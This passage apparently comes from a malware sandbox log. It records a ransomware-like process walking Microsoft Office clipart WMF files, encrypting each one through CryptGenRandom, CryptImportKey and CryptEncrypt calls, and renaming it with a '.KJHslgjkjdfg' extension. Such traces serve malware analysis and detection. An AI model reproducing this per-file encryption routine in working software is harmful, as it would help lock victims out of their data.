nNumberOfBytesToRead=0x1f5c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f5c, lpOverlapped=0x0) returned 1 [0212.405] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f60, dwBufLen=0x1f60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f60) returned 1 [0212.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.405] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f60, lpOverlapped=0x0) returned 1 [0212.405] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.405] SetEndOfFile (hFile=0x130) returned 1 [0212.408] GetProcessHeap () returned 0x990000 [0212.408] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.408] GetProcessHeap () returned 0x990000 [0212.408] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf.kjhslgjkjdfg")) returned 1 [0212.410] CloseHandle (hObject=0x130) returned 1 [0212.411] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2944, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00935_.WMF", cAlternateFileName="")) returned 1 [0212.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.413] GetProcessHeap () returned 0x990000 [0212.413] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.413] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.413] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0212.422] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.422] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.422] GetProcessHeap () returned 0x990000 [0212.422] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.422] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.422] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.422] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.422] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.423] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.423] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.423] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.423] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.423] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.423] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2944, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2944, lpOverlapped=0x0) returned 1 [0212.424] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2950, dwBufLen=0x2950 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2950) returned 1 [0212.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.425] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2950, lpOverlapped=0x0) returned 1 [0212.425] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.425] SetEndOfFile (hFile=0x130) returned 1 [0212.428] GetProcessHeap () returned 0x990000 [0212.428] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.428] GetProcessHeap () returned 0x990000 [0212.428] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf.kjhslgjkjdfg")) returned 1 [0212.430] CloseHandle (hObject=0x130) returned 1 [0212.430] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1960, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00938_.WMF", cAlternateFileName="")) returned 1 [0212.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.432] GetProcessHeap () returned 0x990000 [0212.432] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.432] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.432] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.432] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.432] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.432] GetProcessHeap () returned 0x990000 [0212.432] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.432] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.432] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.432] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.434] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.435] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.435] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.435] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.435] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.435] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.435] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1960, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1960, lpOverlapped=0x0) returned 1 [0212.436] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1960, dwBufLen=0x1960 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1960) returned 1 [0212.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.436] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1960, lpOverlapped=0x0) returned 1 [0212.436] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.436] SetEndOfFile (hFile=0x130) returned 1 [0212.439] GetProcessHeap () returned 0x990000 [0212.439] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.439] GetProcessHeap () returned 0x990000 [0212.439] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf.kjhslgjkjdfg")) returned 1 [0212.441] CloseHandle (hObject=0x130) returned 1 [0212.441] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1708, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00941_.WMF", cAlternateFileName="")) returned 1 [0212.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.443] GetProcessHeap () returned 0x990000 [0212.443] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.443] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.443] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.446] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.446] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.446] GetProcessHeap () returned 0x990000 [0212.446] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.446] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.446] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.446] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.446] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.446] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.446] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.446] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.447] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.447] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.447] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1708, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1708, lpOverlapped=0x0) returned 1 [0212.447] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1710, dwBufLen=0x1710 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1710) returned 1 [0212.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.448] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1710, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1710, lpOverlapped=0x0) returned 1 [0212.448] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.448] SetEndOfFile (hFile=0x130) returned 1 [0212.451] GetProcessHeap () returned 0x990000 [0212.451] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.451] GetProcessHeap () returned 0x990000 [0212.451] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.451] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf.kjhslgjkjdfg")) returned 1 [0212.453] CloseHandle (hObject=0x130) returned 1 [0212.453] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00942_.WMF", cAlternateFileName="")) returned 1 [0212.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.454] GetProcessHeap () returned 0x990000 [0212.454] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.454] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.455] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0212.457] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.457] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.457] GetProcessHeap () returned 0x990000 [0212.457] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.457] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.457] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.457] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.457] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.457] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.457] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.457] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.458] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.458] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.458] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1264, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1264, lpOverlapped=0x0) returned 1 [0212.459] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1270, dwBufLen=0x1270 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1270) returned 1 [0212.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.459] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1270, lpOverlapped=0x0) returned 1 [0212.459] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.459] SetEndOfFile (hFile=0x130) returned 1 [0212.462] GetProcessHeap () returned 0x990000 [0212.462] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.462] GetProcessHeap () returned 0x990000 [0212.462] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf.kjhslgjkjdfg")) returned 1 [0212.464] CloseHandle (hObject=0x130) returned 1 [0212.464] FindNextFileW (in: 